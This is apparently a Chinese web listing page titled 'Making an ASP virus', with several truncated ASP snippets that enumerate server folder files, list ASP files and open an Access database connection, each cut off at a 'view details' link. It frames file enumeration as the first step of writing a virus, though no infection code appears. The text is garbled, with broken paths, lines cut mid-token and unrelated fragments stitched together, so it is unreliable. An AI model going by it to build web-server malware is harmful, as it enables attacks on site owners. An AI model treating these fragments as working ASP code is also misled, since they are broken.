ASP病毒的制作: 
So easy!
<%
Function create()
set fso=server.createobject("scripting.filesystemobject")
set folder=fso.getfolder("c:yansyfsocool")
for each f in folder.files
%>
<%t=le >查看详情
<%
'''''''''''''''''显示指定文件夹中所有的ASP文件
set fso=server.createobject("scripting.filesystemobject")
set folder=fso.getfolder("E:Victor")
response.w >查看详情
conn.asp
<%
set conn=Server.CreateObject("ADODB.Connection")
DBPath=Server.MapPath("db1.mdb")
conn.Open "provider=microsoft.jet.oledb.4.0;data source="&dbpath
%>
sqlcn.asp
<%
on e >查看详情